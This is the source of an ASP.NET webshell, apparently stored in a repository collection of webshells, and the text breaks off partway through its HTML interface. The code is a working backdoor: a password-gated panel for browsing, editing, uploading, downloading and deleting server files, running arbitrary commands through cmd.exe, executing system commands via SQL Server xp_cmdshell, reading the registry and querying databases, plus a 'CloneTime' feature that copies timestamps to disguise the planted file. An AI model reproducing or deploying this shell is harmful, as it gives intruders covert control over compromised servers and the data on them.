webshell/net-friend/aspx/干净清爽的大马,不怎么好用.aspx
2013-06-20 09:50:18 +08:00

1047 lines
45 KiB
Text
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<%@ import Namespace="Microsoft.Win32" %>
<%@ import Namespace="System.Data" %>
<%@ import Namespace="System.Data.OleDb" %>
<script runat="server">
'---------Setting Start---------
'Here, modify the default password to yours, MD5 Hash
Const PASSWORD as string = "21232f297a57a5a743894a0e4a801fc3"
'Session name, avoid session crash
Const SESSIONNAME as string = "webadmin2"
'---------Setting End---------
Dim SORTFILED As String
Sub Page_load(sender As Object, E As EventArgs)
Dim error_x as Exception
Try
If Session(SESSIONNAME) = 0 Then
ShowLogin()
Else
ShowMain()
If not IsPostBack Then
Select Case Request("action")
Case "goto"
CDir.Text = Request("src")
Call ShowFolders(CDir.Text)
Case "copy"
Call ShowCopy(Request("src"))
Case "cut"
Call ShowCut(Request("src"))
Case "down"
Call DownLoadIt(Request("src"))
Case "edit"
Call ShowEdit(Request("src"))
Case "del"
Call ShowDel(Request("src"))
Case "rename"
Call ShowRn(Request("src"))
Case "att"
Call ShowAtt(Request("src"))
End Select
End If
End If
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub Login_click(sender As Object, E As EventArgs)
Dim MD5Pass As String = LCase(FormsAuthentication.HashPasswordForStoringInConfigFile(UPass.Text, "MD5"))
If MD5Pass=PASSWORD Then
Session(SESSIONNAME) = 1
Call ShowMain()
Else
Label_Info.Text = "<b>NO, no, you don't my <20><></b>"
End If
End Sub
Sub GoTo_click(sender As Object, E As EventArgs)
ULOGIN.Visible= False
MAIN.Visible = True
FileManager.Visible = True
CMD.Visible = false
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
Call ShowFolders(CDir.Text)
End Sub
Sub ShowError(ErrorMsg As String)
Label_Info.Text = "<font color=""red""><b>Wrong: </b></font>" & ErrorMsg
End Sub
Sub ShowMain()
Label_Info.Text = "<22><>ӭ<EFBFBD><D3AD><EFBFBD>١<EFBFBD><D9A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰݷ<C7B0> !"
ULOGIN.Visible = False
MAIN.Visible = True
End Sub
Sub ShowDrives()
Label_Drives.Text = "Go To : "
Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath(".")) & """> . </a> "
Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath("/")) & """> / </a> "
dim i as integer
for i =0 to Directory.GetLogicalDrives().length-1
Label_Drives.Text += "<a href=""?action=goto&src=" & Directory.GetLogicalDrives(i) & """>" & Directory.GetLogicalDrives(i) & " </a>"
next
End Sub
Sub Logout_click(sender As Object, E As EventArgs)
Session.Abandon()
Label_Info.Text = "<b>Byebye !</b>"
Call ShowLogin()
End Sub
Sub ShowFileM(sender As Object, E As EventArgs)
ULOGIN.Visible= False
MAIN.Visible = True
FileManager.Visible = True
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
If CDir.Text = "" Then
CDir.Text = Server.MapPath(".")
End If
Call ShowFolders(CDir.Text)
End Sub
Sub ShowFolders(FPath As String)
Dim error_x as Exception
Try
Call ShowDrives()
If right(FPath,1)<>"\" Then
FPath += "\"
End If
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(FPath)
dim xfile as fileinfo
Label_Files.Text = "<table width=""90%"" border=""0"" align=""center"">"
Label_Files.Text += "<tr><td width=""40%""><b>Name</b></td><td width=""15%""><b>Size</b></td>"
Label_Files.Text += "<td width=""20%""><b>ModifyTime</b></td><td width=""25%""><b>Operate</b></td></tr>"
Label_Files.Text += "<tr><td><tr><td><a href='?action=goto&src="
Dim tmp As String
If Len(FPath) < 4 Then
tmp = server.UrlEncode(FPath)
Else
tmp = server.UrlEncode(Directory.GetParent(Left(FPath,Len(FPath)-1)).ToString())
End If
Label_Files.Text += tmp & "'><i>|Parent Directory|</i></a></td></tr>"
For each xdir in mydir.getdirectories()
Label_Files.Text += "<tr><td>"
dim filepath as string = server.UrlEncode(FPath & xdir.name)
Label_Files.Text += "<a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
Label_Files.Text += "<td><dir></td>"
Label_Files.Text += "<td>" & Directory.GetLastWriteTime(FPath & "\" & xdir.name) & "</td>"
Label_Files.Text += "<td><a href='?action=cut&src=" & filepath & "\' target='_blank'>Cut" & "</a>|"
Label_Files.Text += "<a href='?action=copy&src=" & filepath & "\' target='_blank'>Copy</a>|"
Label_Files.Text += "<a href='?action=rename&src=" & filepath & "' target='_blank'>Ren</a>|"
Label_Files.Text += "<a href='?action=att&src=" & filepath & "\'" & "' target=_blank'>Att</a>|"
Label_Files.Text += "<a href='?action=del&src=" & filepath & "\'" & "' target=_blank'>Del</a></td>"
Label_Files.Text += "</tr>"
Next
Label_Files.Text += "</td></tr><tr><td>"
For each xfile in mydir.getfiles()
dim filepath2 as string
filepath2=server.UrlEncode(FPath & xfile.name)
Label_Files.Text += "<tr><td>" & xfile.name & "</td>"
Label_Files.Text += "<td>" & GetSize(xfile.length) & "</td>"
Label_Files.Text += "<td>" & file.GetLastWriteTime(FPath & xfile.name) & "</td>"
Label_Files.Text += "<td><a href='?action=edit&src=" & filepath2 & "' target='_blank'>Edit</a>|"
Label_Files.Text += "<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|"
Label_Files.Text += "<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|"
Label_Files.Text += "<a href='?action=rename&src=" & filepath2 & "' target='_blank'>Ren</a>|"
Label_Files.Text += "<a href='?action=down&src=" & filepath2 & "'>Down</a>|"
Label_Files.Text += "<a href='?action=att&src=" & filepath2 & "' target=_blank'>Att</a>|"
Label_Files.Text += "<a href='?action=del&src=" & filepath2 & "' target=_blank'>Del</a></td>"
Label_Files.Text += "</tr>"
Next
Label_Files.Text += "</table>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Function GetSize(temp)
if temp < 1024 then
GetSize=temp & " bytes"
else
if temp\1024 < 1024 then
GetSize=temp\1024 & " KB"
else
if temp\1024\1024 < 1024 then
GetSize=temp\1024\1024 & " MB"
else
GetSize=temp\1024\1024\1024 & " GB"
end if
end if
end if
End Function
Sub ShowLogin()
ULOGIN.Visible= True
MAIN.Visible = False
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
End Sub
'Show Cmd
Sub Button_showcmd_Click(sender As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = True
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
End Sub
'Show clonetime
Sub Button_showclone_Click(sender As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = True
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
End Sub
Sub Button_showcmdshell_Click(sender As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = True
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
End Sub
Sub Button_showinfo_Click(sender As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = True
Reg.Visible = False
DATA.Visible = False
About.Visible = False
ServerIP.Text = request.ServerVariables("LOCAL_ADDR")
MachineName.Text = Environment.MachineName
UserDomainName.Text = Environment.UserDomainName.ToString()
UserName.Text = Environment.UserName
OS.Text = Environment.OSVersion.ToString()
StartTime.Text = GetStartedTime(Environment.Tickcount) & "Hours"
NowTime.Text = Now()
IISV.Text = request.ServerVariables("SERVER_SOFTWARE")
HTTPS.Text = request.ServerVariables("HTTPS")
PATHS.Text = request.ServerVariables("PATH_INFO")
PATHS2.Text = request.ServerVariables("PATH_TRANSLATED")
PORT.Text = request.ServerVariables("SERVER_PORT")
SID.Text = Session.SessionID
End Sub
Function GetStartedTime(ms)
GetStartedTime=cint(ms/(1000*60*60))
End function
Sub ShowReg(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = True
DATA.Visible = False
About.Visible = False
End Sub
Sub ShowData(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = True
About.Visible = False
End Sub
Sub ShowAbout(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = True
End Sub
Sub ShowEdit( filepath as string)
ULOGIN.Visible = False
MAIN.Visible = false
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
File_Edit.Visible = true
edited_path.Text = filepath
dim myread as new streamreader(filepath, encoding.default)
edited_path.text = filepath
edited_content.text=myread.readtoend
myread.close()
End Sub
Sub ShowDel( filepath as string)
MAIN.Visible = false
FileManager.Visible = False
File_del.Visible = True
label_del.Text = "Are u sure delete file/Folder <b>" & filepath & "</b> ?"
End Sub
Sub ShowRn( filepath as string)
MAIN.Visible = false
FileManager.Visible = False
File_Rename.Visible = True
btn_rename.Text = path.getfilename(filepath)
End Sub
Sub RunCMD(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments = CMDCommand.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
CMDresult.text = "<pre>" & mystring & "</pre>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub GoCloneTime(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim thisfile As FileInfo =New FileInfo(time1.Text)
Dim thatfile As FileInfo =New FileInfo(time2.Text)
thisfile.LastWriteTime = thatfile.LastWriteTime
thisfile.LastAccessTime = thatfile.LastAccessTime
thisfile.CreationTime = thatfile.CreationTime
Label_cloneResult.Text = "<font color=""red"">Clone Time Success!</font>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub CMDSHELL(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim adoConn,strQuery,recResult,strResult
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open(ConStr.Text)
If Sqlcmd.Text<>"" Then
strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," ","&nbsp;")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
End if
adoConn.Close
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub ReadReg(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim hu As String = RegKey.Text
Dim rk As RegistryKey
Select Mid( hu ,1 , Instr( hu,"\" )-1 )
case "HKEY_LOCAL_MACHINE"
rk = Registry.LocalMachine.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
case "HKEY_CLASSES_ROOT"
rk = Registry.ClassesRoot.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
case "HKEY_CURRENT_USER"
rk = Registry.CurrentUser.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
case "HKEY_USERS"
rk = Registry.Users.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
case "HKEY_CURRENT_CONFIG"
rk = Registry.CurrentConfig.OpenSubKey( Right(hu , Len(hu) - Instr( hu,"\" )) , 0 )
End Select
RegResult.Text = rk.GetValue(RegValue.Text , "NULL")
rk.Close()
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub DB_onrB_1(sender As Object, E As EventArgs)
DataCStr.Text = "server=127.0.0.1;UID=sa;PWD=;database=news;Provider=SQLOLEDB"
Type_Acc.Checked = false
Type_SQL.Checked = true
End Sub
Sub DB_onrB_2(sender As Object, E As EventArgs)
Type_Acc.Checked = true
Type_SQL.Checked = false
DataCStr.Text = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\MyWeb\UpdateWebadmin\guestbook.mdb"
End Sub
Sub DB_Submit_Click(sender As Object, E As EventArgs)
Dim error_x as Exception
Try
DB_eButton.Visible = True
DB_eString.Visible = True
DB_exe.Visible = True
db_showTable.Text = "<br><b>The Tables :</b><br>"
Dim i As Integer
Dim db_conn As New OleDbConnection(DataCStr.Text)
Dim db_schemaTable As DataTable
db_conn.open()
db_schemaTable = db_conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, New Object() {Nothing, Nothing, Nothing, "TABLE"})
For i = 0 To db_schemaTable.Rows.Count - 1
db_showTable.Text += db_schemaTable.Rows(i)!TABLE_NAME.ToString & "<br>"
Next i
db_conn.close()
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub DB_Page(sender As Object, e As System.Web.UI.WebControls.DataGridPageChangedEventArgs)
DB_DataGrid.CurrentPageIndex = e.NewPageIndex
Call BindData()
End Sub
Sub DB_Sort(sender As Object, E As DataGridSortCommandEventArgs)
SORTFILED = E.SortExpression
Call BindData()
End Sub
Sub DB_Exec_Click(sender As Object, E As EventArgs)
DB_ExecRes.Text = ""
If LCase(Left(DB_EString.Text, 6)) = "select" Then
Call BindData()
Else
Call DB_Exec()
End If
End Sub
Sub DB_Exec()
Dim error_x as Exception
Try
Dim db_conn As New OleDbConnection(DataCStr.Text)
Dim db_cmd As New OleDbCommand( DB_EString.Text , db_conn )
db_conn.Open()
db_cmd.ExecuteNonQuery()
db_conn.Close()
DB_ExecRes.Text = "<b>Done! </b>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Function myGetTableName(SQLS As String)
Dim TEMP, TEMP2 As String
TEMP = Right(SQLs, Len(SQLS) - Instr(1, SQLs, "from", 1) - 3 )
Dim i As Integer
For i = 1 to Len(TEMP)
If Mid(TEMP, i, 1) <> vbcrlf Then
TEMP2 += Mid(TEMP, i, 1)
Else
Exit For
End If
Next
myGetTableName = TEMP2
End Function
Sub BindData()
Dim error_x as Exception
Try
Dim myTableName As String = myGetTableName(DB_EString.Text)
Dim db_conn As New OleDbConnection(DataCStr.Text)
Dim db_cmd As New OleDbCommand( DB_EString.Text , db_conn )
Dim db_adp As New OleDbDataAdapter(db_cmd)
Dim db_ds As New DataSet()
db_adp.Fill(db_ds,myTableName)
DB_DataGrid.DataSource = db_ds.Tables(myTableName).DefaultView
db_ds.Tables(myTableName).DefaultView.Sort = SORTFILED
DB_DataGrid.DataBind()
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub DownLoadIt(thePath)
Dim error_x as Exception
Try
dim stream
stream=server.createObject("adodb.stream")
stream.open
stream.type=1
stream.loadFromFile(thePath)
response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
response.addHeader("Content-Length",stream.Size)
response.charset="UTF-8"
response.contentType="application/octet-stream"
response.binaryWrite(stream.read)
response.flush
stream.close
stream=nothing
response.End()
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
sub FileEdit(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
dim mywrite as new streamwriter(edited_path.text, false, encoding.default)
mywrite.write(edited_content.text)
mywrite.close
response.Write("<script>alert('Edit|Creat " & replace(edited_path.text,"\","\\") & " Success! Please refresh')</sc"&"ript>")
Catch error_x
ShowError(error_x.Message)
End Try
end sub
sub FileDel(Src As Object, E As EventArgs)
Call del( Request("src") )
end sub
Sub del(a as string)
if right(a,1)="\" then
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.delete(a & xfile.name)
next
for each xdir in mydir.getdirectories()
call del(a & xdir.name & "\")
next
directory.delete(a)
else
file.delete(a)
end if
response.Write("<script>alert('Delete " & replace(a,"\","\\") & " Success! Please refresh')</sc"&"ript>")
response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
End Sub
Sub rn_rn_Click(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Rename( request("src"), Directory.GetParent(request("src")).ToString() & "\" & btn_rename.Text )
response.Write("<script>alert('Rename Success! Please refresh')</sc"&"ript>")
response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub NewFile(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim temp As String
If right(CDir.Text, 1) <> "\" Then
temp = CDir.Text & "\"
Else
temp = CDir.Text
End If
dim mywrite as new streamwriter(temp & TextBox_FDName.Text, true, encoding.default)
mywrite.close
label_info.Text = "Create File Success !"
Call ShowFolders(CDir.Text)
TextBox_FDName.Text = ""
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub NewFolder(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim temp As String
If right(CDir.Text, 1) <> "\" Then
temp = CDir.Text & "\"
Else
temp = CDir.Text
End If
directory.createdirectory(temp & TextBox_FDName.Text)
label_info.Text = "Create Folder Success !"
Call ShowFolders(CDir.Text)
TextBox_FDName.Text = ""
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub UpLoad(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim temp As String
If right(CDir.Text, 1) <> "\" Then
temp = CDir.Text & "\"
Else
temp = CDir.Text
End If
dim filename,loadpath as string
filename = path.getfilename(UpFile.value)
loadpath = temp & filename
UpFile.postedfile.saveas(loadpath)
label_info.Text = "Upload File Success !"
Call ShowFolders(CDir.Text)
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub ShowAtt(path As String)
MAIN.Visible = false
FileManager.Visible = False
File_Att.Visible = True
If (File.GetAttributes(path) And FileAttributes.Hidden) = FileAttributes.Hidden Then
Hide.Checked = True
End If
If (File.GetAttributes(path) And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
onlyread.Checked = True
End If
If (File.GetAttributes(path) And FileAttributes.System) = FileAttributes.System Then
sys.Checked = True
End If
If (File.GetAttributes(path) And FileAttributes.Archive) = FileAttributes.Archive Then
Archive.Checked = True
End If
End Sub
Sub SetAttributes( path As String)
If onlyread.Checked = True Then
File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.ReadOnly)
Else
If (File.GetAttributes(path) And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.ReadOnly)
End If
End If
If Hide.Checked = True Then
File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.Hidden)
Else
If (File.GetAttributes(path) And FileAttributes.Hidden) = FileAttributes.Hidden Then
File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.Hidden)
End If
End If
If sys.Checked = True Then
File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.System)
Else
If (File.GetAttributes(path) And FileAttributes.System) = FileAttributes.System Then
File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.System)
End If
End If
If Archive.Checked = True Then
File.SetAttributes(path, File.GetAttributes(path) Or FileAttributes.Archive)
Else
If (File.GetAttributes(path) And FileAttributes.Archive) = FileAttributes.Archive Then
File.SetAttributes(path, File.GetAttributes(path) - FileAttributes.Archive)
End If
End If
response.Write("<script>alert('Rename Success! Please refresh')</sc"&"ript>")
response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
End Sub
Sub Set_Att_Click(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Call SetAttributes( request("Src") )
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub ShowCopy(path As String)
Session("FileAct") = "Copy"
Session("Source") = path
response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!')</sc"&"ript>")
response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
End Sub
Sub ShowCut(path As String)
Session("FileAct") = "Cut"
Session("Source") = path
response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!')</sc"&"ript>")
response.Write("<script>location.href='JavaScript:self.close()';</sc"&"ript>")
End Sub
Sub Plaste_Click(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim tmp As String = Session("Source")
Dim temp As String
If right(CDir.Text, 1) <> "\" Then
temp = CDir.Text & "\"
Else
temp = CDir.Text
End If
If Session("FileAct") = "Copy" Then
if right(tmp, 1)="\" then
directory.createdirectory(temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)))
call copydir(tmp, temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)) & "\" )
Else
file.copy(tmp, temp & Path.GetFileName(tmp))
End If
response.Write("<script>alert('Copy success!');</s"&"cript>")
ElseIf Session("FileAct") = "Cut" Then
if right(tmp, 1)="\" then
directory.move(tmp, temp & Path.GetFileName(mid(tmp, 1, len(tmp)-1)) & "\")
Else
file.move(tmp, temp & Path.GetFileName(tmp) )
End If
response.Write("<script>alert('Cut success!');</s"&"cript>")
Call ShowFolders(CDir.Text)
Else
response.Write("<script>alert('Plaste Fail!');</s"&"cript>")
End If
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub copydir(a As String , b As String)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.copy(a & xfile.name,b & xfile.name)
next
for each xdir in mydir.getdirectories()
directory.createdirectory(b & path.getfilename(a & xdir.name))
call copydir(a & xdir.name & "\",b & xdir.name & "\")
next
End Sub
</script>
<html>
<head>
<title>:: WebAdmin 2.X Final ::</title> <style type="text/css">BODY {
COLOR: #0000ff; FONT-FAMILY: Verdana
}
TD {
COLOR: #0000ff; FONT-FAMILY: Verdana
}
TH {
COLOR: #0000ff; FONT-FAMILY: Verdana
}
BODY {
FONT-SIZE: 14px; BACKGROUND-COLOR: #ffffff
}
A:link {
COLOR: #0000ff; TEXT-DECORATION: none
}
A:visited {
COLOR: #0000ff; TEXT-DECORATION: none
}
A:hover {
COLOR: #ff0000; TEXT-DECORATION: none
}
A:active {
COLOR: #ff0000; TEXT-DECORATION: none
}
.buttom {
BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5
}
.TextBox {
BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid
}
.style3 {
COLOR: #ff0000
}
</style>
<meta http-equiv="Content-Type" content="text/html" />
</head>
<body>
<form method="post" enctype="multipart/form-data" runat="server">
<asp:Label id="Label_Info" runat="server" enableviewstate="False"></asp:Label>
<br />
<br />
<asp:Panel id="ULOGIN" runat="server" Wrap="False" ToolTip="Login">
<asp:Label id="Label_Pwd" runat="server" enableviewstate="False">Password:</asp:Label>
<asp:TextBox class="TextBox" id="UPass" runat="server" Wrap="False" TextMode="Password"></asp:TextBox>
<asp:Button class="buttom" id="Button_Login" onclick="login_click" runat="server" ToolTip="Click here to login" Text="Login"></asp:Button>
</asp:Panel>
<asp:Panel id="MAIN" runat="server" Wrap="False" ToolTip="Main" Visible="False">
<asp:Label id="Label_tools" runat="server" enableviewstate="False">Function:</asp:Label>
<asp:Button class="buttom" id="Button_filemanager" onclick="ShowFileM" runat="server" Text="File" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_cmd" onclick="Button_showcmd_Click" runat="server" Text="Command" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_clonetime" onclick="Button_showclone_Click" runat="server" Text="CloneTime" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_sqlcmd" onclick="Button_showcmdshell_Click" runat="server" Text="SQLRootkit" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_sysinfo" onclick="Button_showinfo_Click" runat="server" Text=" SysInfo " Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_db" onclick="ShowData" runat="server" Text="Database" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_reg" onclick="ShowReg" runat="server" Text="Regedit" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_about" onclick="ShowAbout" runat="server" Text="About" Width="80px"></asp:Button>
<asp:Button class="buttom" id="Button_exit" onclick="Logout_click" runat="server" Text="Exit" Width="80px"></asp:Button>
<hr />
</asp:Panel>
<asp:Panel id="FileManager" runat="server" Wrap="False" Width="100%">
<asp:Label id="Label_Drives" runat="server" enableviewstate="False"></asp:Label>
<br />
<asp:Label id="Label_Dir" runat="server" enableviewstate="False">Currently Dir :</asp:Label>
<asp:TextBox class="TextBox" id="CDir" runat="server" Wrap="False" Width="300px"></asp:TextBox>
<asp:Button class="buttom" id="Button_GoTo" onclick="GoTo_click" runat="server" ToolTip="Go to the dir" Text=" Go "></asp:Button>
<asp:Button id="PlasteButton" onclick="Plaste_Click" runat="server" Text="Plaste" CssClass="buttom"></asp:Button>
<br />
<asp:Label id="Label_oper" runat="server" enableviewstate="False">Operate:</asp:Label>
<asp:TextBox class="TextBox" id="TextBox_FDName" runat="server" Wrap="False" Width="100px"></asp:TextBox>
<asp:Button class="buttom" id="Button_NewF" onclick="NewFile" runat="server" Text="NewFile"></asp:Button>
<asp:Button class="buttom" id="Button_NewD" onclick="NewFolder" runat="server" Text="NewDir"></asp:Button>
<input class="TextBox" id="UpFile" type="file" name="upfile" runat="server" />
<asp:Button class="buttom" id="Button_UpFile" onclick="UpLoad" runat="server" Text="UpLoad" EnableViewState="False"></asp:Button>
<HT>
<br />
<asp:Label id="Label_files" runat="server" enableviewstate="False" font-size="XX-Small" width="800px"></asp:Label>
</asp:Panel>
<asp:Panel id="CMD" runat="server" Wrap="False" ToolTip="CMD" Visible="False" Width="380px">
<asp:Label id="Label_cmdpath" runat="server" enableviewstate="False" width="100px">Program
: </asp:Label>
<asp:TextBox class="TextBox" id="CMDPath" runat="server" Wrap="False" Text="cmd.exe" Width="250px">c:\windows\system32\cmd.exe</asp:TextBox>
<br />
<asp:Label id="Label_cmd" runat="server" enableviewstate="False" width="100px">Arguments
:</asp:Label>
<asp:TextBox class="TextBox" id="CMDCommand" runat="server" Wrap="False" Width="250px">/c ver</asp:TextBox>
<asp:Button class="buttom" id="Button_cmdRun" onclick="RunCMD" runat="server" Text="Run" EnableViewState="False"></asp:Button>
<br />
<asp:Label id="cmdResult" runat="server"></asp:Label>
</asp:Panel>
<asp:Panel id="CloneTime" runat="server" Wrap="False" ToolTip="Clone Time" Visible="False">
<asp:Label id="Label_rework" runat="server">Rework File or Dir:</asp:Label>
<asp:TextBox class="TextBox" id="time1" runat="server" Wrap="False" Width="400px">c:\webadmin2XF.aspx</asp:TextBox>
<br />
<asp:Label id="Label_copied" runat="server">Copied File or Dir : </asp:Label>
<asp:TextBox class="TextBox" id="time2" runat="server" Wrap="False" Width="400px">c:\index.aspx</asp:TextBox>
<br />
<asp:Button class="buttom" id="Button_clone" onclick="GoCloneTime" runat="server" Text="Clone"></asp:Button>
<br />
<asp:Label id="Label_cloneResult" runat="server"></asp:Label>
</asp:Panel>
<asp:Panel id="SQLRootkit" runat="server" Wrap="False" ToolTip="SQLRootKit" Visible="False">
<asp:Label id="Label_conn" runat="server" width="100px">ConnString:</asp:Label>
<asp:TextBox class="TextBox" id="ConStr" runat="server" Wrap="False" Width="500px">server=127.0.0.1;UID=sa;PWD=;Provider=SQLOLEDB</asp:TextBox>
<br />
<asp:Label id="Label_sqlcmd" runat="server" width="100px">Command:</asp:Label>
<asp:TextBox class="TextBox" id="SQLCmd" runat="server" Wrap="False" Width="500px">net user</asp:TextBox>
<asp:Button class="buttom" id="SQLCmdRun" onclick="CMDSHELL" runat="server" Text="Run"></asp:Button>
<br />
<asp:Label id="resultSQL" runat="server"></asp:Label>
</asp:Panel>
<asp:Panel id="SysInfo" runat="server" Wrap="False" ToolTip="System Infomation" Visible="False" EnableViewState="False">
<table width="80%" align="center" border="1">
<tbody>
<tr>
<td colspan="2">
Web Server Information</td>
</tr>
<tr>
<td width="40%">
Server IP</td>
<td width="60%">
